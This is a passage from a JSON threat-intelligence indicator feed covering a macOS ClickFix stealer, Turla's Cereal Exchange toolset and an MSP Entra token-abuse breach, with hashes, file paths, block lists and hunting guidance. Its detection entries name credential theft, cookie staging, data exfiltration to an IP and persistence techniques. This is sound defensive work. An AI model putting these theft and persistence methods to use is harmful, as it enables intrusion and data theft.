"https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "Terminal.sh", "type": "filename", "confidence": "med", "recommended_action": "monitor", "description": "First-stage shell script name also observed on delivery hosts. Common script name: hunt it only in a Terminal curl-to-bash chain, do not block by name.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "~/Library/LaunchAgents/com.<16 lowercase letters>.plist", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "LaunchAgent persistence used by June to mid-September 2026 builds; the ProgramArguments decode base64 and pipe the loader to osascript.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "~/Library/LaunchAgents/com.Apple.<16 lowercase letters>.plist", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "LaunchAgent persistence used by October 2026 builds, impersonating an Apple component with a capitalised com.Apple. prefix.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "~/.passphrase", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Hidden file where the backdoor stores the captured login password in plaintext after a successful dscl . authonly check.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "~/.txid", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Hidden file holding the Phexia build identifier used in C2 POST bodies.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "~/tempFolderC/", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Staging directory created by a separate AppleScript that copies Safari Cookies.binarycookies via Finder.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "/tmp/updstat.txt", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "File that captures the result of the plain-HTTP stolen-data upload to 62.60.226.50.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "/tmp/rigupdater/", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Working directory used by XMRig when it was first deployed through Phexia tasking on 20 Oct 2026.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] }, { "value": "/tmp/applecomlistupdate/", "type": "filename", "confidence": "high", "recommended_action": "alert", "description": "Working directory used by XMRig from 26 Oct 2026, renamed to masquerade as an Apple component.", "source_url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "source_label": "WithSecure – Inside Phexia: A macOS malware delivered through ClickFix", "source_name": "WithSecure", "sources": [ { "url": "https://www.withsecure.com/en/resources-hub/w-labs/phexia-macos-malware/", "name": "WithSecure" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Phexia-macOS-ClickFix-Stealer-Polygon-C2/hunt.kql", "download": "Phexia-macOS-ClickFix-Stealer-Polygon-C2_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Phexia-macOS-ClickFix-Stealer-Polygon-C2/hunt.spl", "download": "Phexia-macOS-ClickFix-Stealer-Polygon-C2_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Phexia-macOS-ClickFix-Stealer-Polygon-C2/hunt_raw.spl", "download": "Phexia-macOS-ClickFix-Stealer-Polygon-C2_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Phexia-macOS-ClickFix-Stealer-Polygon-C2/hunt.yaral", "download": "Phexia-macOS-ClickFix-Stealer-Polygon-C2_hunt.yaral" } ] }, { "id": "Turla-Cereal-Exchange-Espionage-Toolset", "folder": "threats/2026-11_November-2026/2026-11-10/Turla-Cereal-Exchange-Espionage-Toolset", "name": "Turla Cereal: Exchange Server Espionage Toolset", "short": "Turla Cereal Exchange toolset", "category": "APT / espionage", "published": "2026-11-10", "entry_date": "2026-11-10 13:43", "last_updated": "2026-11-10", "seq": 7, "headline": "Russia-aligned Turla .NET toolset turning Exchange servers into passive backdoors", "summary": "ESET attributes Cereal, a previously undocumented modular .NET toolset, with high confidence to the Russia-aligned APT group Turla. It was found on Microsoft Exchange servers of governmental organisations in Kazakhstan (November 2025) and Romania, where an email collection module injected into legitimate Exchange processes taps the mail transport pipeline and was configured to pick out email sent to or from NATO and the EU. There is no external C2: the CerealNeuron passive backdoor turns the victim's own Exchange server into the C2 through HttpListener URL prefixes, and the loaders abuse DLL search-order hijacking and the .NET native image cache.", "caveat": null, "targets": { "countries": [ { "code": "KZ", "name": "Kazakhstan" }, { "code": "RO", "name": "Romania" } ], "regions": [], "sectors": [ "Government" ], "note": "Two national governmental organisations; the Romanian implant filtered email to or from NATO and EU addresses.", "source": { "url": "https://www.welivesecurity.com/en/eset-research/exchange-for-breakfast-turlas-cereal-tricks-are-not-for-kids/", "label": "welivesecurity.com", "name": "WeLiveSecurity" } }, "mitre": [ { "id": "T1114", "name": "Email Collection", "url": "https://attack.mitre.org/techniques/T1114/" }, { "id": "T1505", "name": "Server Software Component", "url": "https://attack.mitre.org/techniques/T1505/" }, { "id": "T1574.001", "name": "DLL Search Order Hijacking", "url": "https://attack.mitre.org/techniques/T1574/001/" }, { "id": "T1055", "name": "Process Injection", "url": "https://attack.mitre.org/techniques/T1055/" }, { "id": "T1620", "name": "Reflective Code Loading", "url": "https://attack.mitre.org/techniques/T1620/" } ], "recommended_actions": [ "Hash-sweep every Exchange server for the SHA1 values in iocs.csv (or run hunt.kql); test file blocks on one server first because the loaders use Exchange and WMI file names.", "Hunt IIS and HTTP.sys logs for the CerealNeuron URL prefixes; ESET found no external C2 IPs to block.", "Check System32\\wbem for ncobjapi.dll and wbemcomn.dll copies whose hashes do not match Microsoft's.", "If found, rebuild the Exchange server and review transport rules and mail flow for exfiltration." ], "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "label": "ESET – Turla Cereal white paper (PDF)", "name": "ESET" }, { "url": "https://www.welivesecurity.com/en/eset-research/exchange-for-breakfast-turlas-cereal-tricks-are-not-for-kids/", "label": "ESET WeLiveSecurity – Exchange for breakfast: Turla's Cereal tricks are not for kids", "name": "WeLiveSecurity" }, { "url": "https://bazaar.abuse.ch/sample/13fe1eb9b182b076a815f84d34b66365809d0cff32df6f5b85aa7ef4deee98e0/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar" }, { "url": "https://bazaar.abuse.ch/sample/6119d25ae51d04264384f5d738c104e42596b0774609666b357a43608a48404c/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar (2)" } ], "indicator_count": 26, "block_now_count": 18, "hunt_count": 8, "hunt_counts": { "alert": 8 }, "indicator_counts": { "sha1": 18, "url": 5, "filename": 3 }, "ioas": [], "ioa_count": 0, "ioa_note": null, "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Turla-Cereal-Exchange-Espionage-Toolset/block_now.txt", "download": "Turla-Cereal-Exchange-Espionage-Toolset_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Turla-Cereal-Exchange-Espionage-Toolset/defender_xdr_indicators.csv", "download": "Turla-Cereal-Exchange-Espionage-Toolset_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Turla-Cereal-Exchange-Espionage-Toolset/hunt.kql", "download": "Turla-Cereal-Exchange-Espionage-Toolset_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Turla-Cereal-Exchange-Espionage-Toolset/hunt.spl", "download": "Turla-Cereal-Exchange-Espionage-Toolset_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Turla-Cereal-Exchange-Espionage-Toolset/hunt_raw.spl", "download": "Turla-Cereal-Exchange-Espionage-Toolset_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Turla-Cereal-Exchange-Espionage-Toolset/hunt.yaral", "download": "Turla-Cereal-Exchange-Espionage-Toolset_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Turla-Cereal-Exchange-Espionage-Toolset/iocs.csv", "download": "Turla-Cereal-Exchange-Espionage-Toolset_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-10/Turla-Cereal-Exchange-Espionage-Toolset", "share_url": "https://iocwatch.com/t/Turla-Cereal-Exchange-Espionage-Toolset/", "indicators": [ { "value": "4a3c263977417fb6977b0e598c9e3bc5924f390c", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of CerealLoader (ESET detection MSIL/Agent.YCC) written as Microsoft.Exchange.Data.Transport.ni.dll, the Turla Cereal loader on compromised Exchange servers; test the block on one server first.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" }, { "url": "https://bazaar.abuse.ch/sample/13fe1eb9b182b076a815f84d34b66365809d0cff32df6f5b85aa7ef4deee98e0/", "name": "MalwareBazaar" } ] }, { "value": "7742c6b0aaf114335cef7ebab11290cb18a0b8b3", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of CerealLoader (ESET detection MSIL/Agent.YCC) written as version.dll, the Turla Cereal loader on compromised Exchange servers; test the block on one server first.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "afe448dd95494cd14438f04f0c5f6b384664a3b7", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of CerealLoader (ESET detection MSIL/Agent.YCC) written as version.dll, the Turla Cereal loader on compromised Exchange servers; test the block on one server first.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "4a65040646e354303f067d47aa1c953d467f65cb", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of CerealLoader (ESET detection MSIL/Agent.YCA) written as Microsoft.Search.Platform.dll, the Turla Cereal loader on compromised Exchange servers; test the block on one server first.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" }, { "url": "https://bazaar.abuse.ch/sample/6119d25ae51d04264384f5d738c104e42596b0774609666b357a43608a48404c/", "name": "MalwareBazaar" } ] }, { "value": "d1e17520a2435edcdcc47f582381416fbdf75f94", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of CerealLoader (ESET detection MSIL/Agent.YCA) written as Microsoft.Ceres.dll, the Turla Cereal loader on compromised Exchange servers; test the block on one server first.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "7ab784d0049890d9844aee7f214ba173e3cc23be", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of CerealLoader (ESET detection MSIL/Agent.YCA) written as wbemcomn.dll, the Turla Cereal loader on compromised Exchange servers; test the block on one server first.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "5d80118b1ee974936322475f740ab3aeff70b8f3", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of CerealLoader (ESET detection MSIL/Agent.YCC) written as EdgeTransport.ni.exe, the Turla Cereal loader on compromised Exchange servers; test the block on one server first.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "d51c58c2e95d4561848e0a5a8b9fb33c847c50a4", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of CerealLoader (ESET detection MSIL/Agent.YCA) written as iph.dat, the Turla Cereal loader on compromised Exchange servers; test the block on one server first.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "5b94fe76ec4feb0b5cb6ea3bca4c48d2fe22597b", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of CerealLoader (ESET detection MSIL/Agent.YCA) written as ncobjapi.dll, the Turla Cereal loader on compromised Exchange servers; test the block on one server first.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "1408a8f62b09a5ad0dff279b2878d8f59f70a330", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of CerealLoader (ESET detection MSIL/Agent.YCC) written as Microsoft.Exchange.Search.Mdb.ni.dll, the Turla Cereal loader on compromised Exchange servers; test the block on one server first.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "3d1a534ce0d0c293f62ece556cbc6d0728213104", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of CerealLoader (ESET detection MSIL/Agent.YCC) written as Microsoft.Exchange.EdgeSyncSvc.ni.exe, the Turla Cereal loader on compromised Exchange servers; test the block on one server first.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "ad85fbf2cc879d4325bce1e6fb5f12ab59e3d387", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of CerealRunner (ESET detection MSIL/Agent.YBZ), a Turla Cereal module that runs in memory on compromised Exchange servers.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "3ea03188dba8898d97e965732c1d6a68c5437edc", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of CerealSprinter (ESET detection MSIL/Agent.YBZ), a Turla Cereal module that runs in memory on compromised Exchange servers.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "3fba18af966deacf7ae09e4d4238952dd90a6d6f", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of CerealHermit (ESET detection MSIL/Agent.YBZ), a Turla Cereal module that runs in memory on compromised Exchange servers.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "eb9ba1da5363f5d04e2f98673595fce93f39a78e", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of CerealIron (ESET detection MSIL/Agent.YBZ), a Turla Cereal module that runs in memory on compromised Exchange servers.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "0b4e4a1ce7fee91bfc62b2a2ec572c325642bb60", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of CerealMoth (ESET detection MSIL/Agent.YBZ), a Turla Cereal module that runs in memory on compromised Exchange servers.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "a4e477ce257f2c635401ef554e05506c080967c0", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of the Turla Cereal x86 bootstrapper DLL (ESET detection Win32/Agent.AIOQ), run in memory on compromised Exchange servers.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "a5be8706032a0798fd63214a9f22efa6309355f5", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of the Turla Cereal x64 bootstrapper DLL (ESET detection Win32/Agent.AIOQ), run in memory on compromised Exchange servers.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "iph.dat", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "CerealLoader payload file name listed in the ESET IOC table.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "C:\\Windows\\System32\\wbem\\ncobjapi.dll", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "Path where CerealLoader is written and loaded by the WMI Provider Host; a legitimate file of the same name exists in System32, so check the hash.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "C:\\Windows\\System32\\wbem\\wbemcomn.dll", "type": "filename", "confidence": "med", "recommended_action": "alert", "description": "CerealLoader planted in System32\\wbem for search-order hijacking of WmiPrvSE.exe; the legitimate copy lives in C:\\Windows\\System32, not \\wbem.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "/owa/sdds/", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "HttpListener prefix https://*:443/owa/sdds/ registered by the CerealNeuron passive backdoor on the victim's own Exchange server; hunt in IIS/HTTP.sys logs, not an external URL to block.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "/AUTODISCOVER/MICROSOFT.EXCHANGE.PROXYSERVICE/", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "HttpListener prefix https://*:443/AUTODISCOVER/MICROSOFT.EXCHANGE.PROXYSERVICE/ registered by the CerealNeuron passive backdoor on the victim's own Exchange server; hunt in IIS/HTTP.sys logs, not an external URL to block.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "/AUTODISCOVER/INTEGRATED/API/", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "HttpListener prefix https://*:443/AUTODISCOVER/INTEGRATED/API/ registered by the CerealNeuron passive backdoor on the victim's own Exchange server; hunt in IIS/HTTP.sys logs, not an external URL to block.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "/AUTODISCOVER/PROXYSERVICE/", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "HttpListener prefix https://*:443/AUTODISCOVER/PROXYSERVICE/ registered by the CerealNeuron passive backdoor on the victim's own Exchange server; hunt in IIS/HTTP.sys logs, not an external URL to block.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] }, { "value": "/MICROSOFT-SERVER-ACTIVESYNC/INTEGRATED/API/", "type": "url", "confidence": "med", "recommended_action": "alert", "description": "HttpListener prefix https://*:443/MICROSOFT-SERVER-ACTIVESYNC/INTEGRATED/API/ registered by the CerealNeuron passive backdoor on the victim's own Exchange server; hunt in IIS/HTTP.sys logs, not an external URL to block.", "source_url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "source_label": "ESET – Turla Cereal white paper (PDF)", "source_name": "ESET", "sources": [ { "url": "https://web-assets.esetstatic.com/wls/en/papers/white-papers/turla-cereal-tricks.pdf", "name": "ESET" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Turla-Cereal-Exchange-Espionage-Toolset/hunt.kql", "download": "Turla-Cereal-Exchange-Espionage-Toolset_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Turla-Cereal-Exchange-Espionage-Toolset/hunt.spl", "download": "Turla-Cereal-Exchange-Espionage-Toolset_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Turla-Cereal-Exchange-Espionage-Toolset/hunt_raw.spl", "download": "Turla-Cereal-Exchange-Espionage-Toolset_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-10/Turla-Cereal-Exchange-Espionage-Toolset/hunt.yaral", "download": "Turla-Cereal-Exchange-Espionage-Toolset_hunt.yaral" } ] }, { "id": "MSP-Process-GDAP-Breach-Entra-Token-Abuse", "folder": "threats/2026-11_November-2026/2026-11-10/MSP-Process-GDAP-Breach-Entra-Token-Abuse", "name": "MSP Process GDAP Breach: Entra Token Abuse in Partner Tenants", "short": "MSP Process GDAP breach", "category": "Supply chain / identity", "published": "2026-11-09", "entry_date": "2026-11-10 13:43", "last_updated": "2026-11-10", "seq": 6, "headline": "Stolen partner app secrets used for Graph token abuse in MSP customer tenants", "summary": "On 7 November 2026 MSP Process, a GDAP tooling vendor serving over 1,000 MSPs, told partners that an attacker had accessed one of its storage accounts (09:56–14:40 UTC) holding partners' Entra app client IDs and secrets, admin refresh tokens and GDAP relationship lists. The attacker used the stolen secrets to get Microsoft Graph tokens in partner and customer tenants with no user sign-in or MFA, and Huntress reported successful malicious token grants in 47 tenants. Password-spray and client-secret attempts from a residential proxy pool preceded the breach on 6–7 November. Any tenant connected to MSP Process should be treated as exposed.", "caveat": null, "targets": { "countries": [], "regions": [], "sectors": [ "Managed service providers", "MSP customers" ], "note": "MSP Process serves over 1,000 MSPs; Huntress reported malicious token grants in 47 partner and customer tenants. No countries named.", "source": { "url": "https://www.thestack.technology/msp-software-firm-hacked-with-customer-entra-environments-now-getting-pwned/", "label": "The Stack – MSP software firm hacked, customer Entra environments getting pwned (Huntress IOCs)", "name": "The Stack" } }, "mitre": [ { "id": "T1199", "name": "Trusted Relationship", "url": "https://attack.mitre.org/techniques/T1199/" }, { "id": "T1078.004", "name": "Valid Accounts: Cloud Accounts", "url": "https://attack.mitre.org/techniques/T1078/004/" }, { "id": "T1550.001", "name": "Application Access Token", "url": "https://attack.mitre.org/techniques/T1550/001/" }, { "id": "T1110.003", "name": "Password Spraying", "url": "https://attack.mitre.org/techniques/T1110/003/" } ], "recommended_actions": [ "Rotate the client secret of every Entra app connected to MSP Process and revoke the admin refresh token used to connect it.", "Review Entra service-principal and non-interactive sign-ins for 